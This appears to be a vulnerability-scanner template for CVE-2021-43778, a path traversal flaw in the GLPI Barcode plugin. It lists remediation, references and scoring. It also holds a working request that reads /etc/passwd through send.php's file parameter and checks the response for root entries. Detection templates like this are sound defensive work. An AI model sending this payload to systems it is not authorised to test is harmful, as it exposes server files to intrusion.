45 lines
1.8 KiB
YAML
45 lines
1.8 KiB
YAML
id: CVE-2021-43778
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info:
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name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
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author: cckuailong
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severity: high
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description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
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impact: |
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An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
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remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
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reference:
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- https://github.com/AK-blank/CVE-2021-43778
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- https://nvd.nist.gov/vuln/detail/CVE-2021-43778
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- https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
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- https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
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- https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-43778
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cwe-id: CWE-22
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epss-score: 0.53541
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epss-percentile: 0.97558
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cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: glpi-project
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product: barcode
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tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project
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http:
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- method: GET
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path:
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- "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 490a00463044022001be70fb443486c712120703936560a196126da58c1afc837570c82f4c35ec9802206eec0fba2e411b7d3cbf0b9bb15509191727d985e2f586884f060ab322a41b58:922c64590222798bb761d5b6d8e72950 |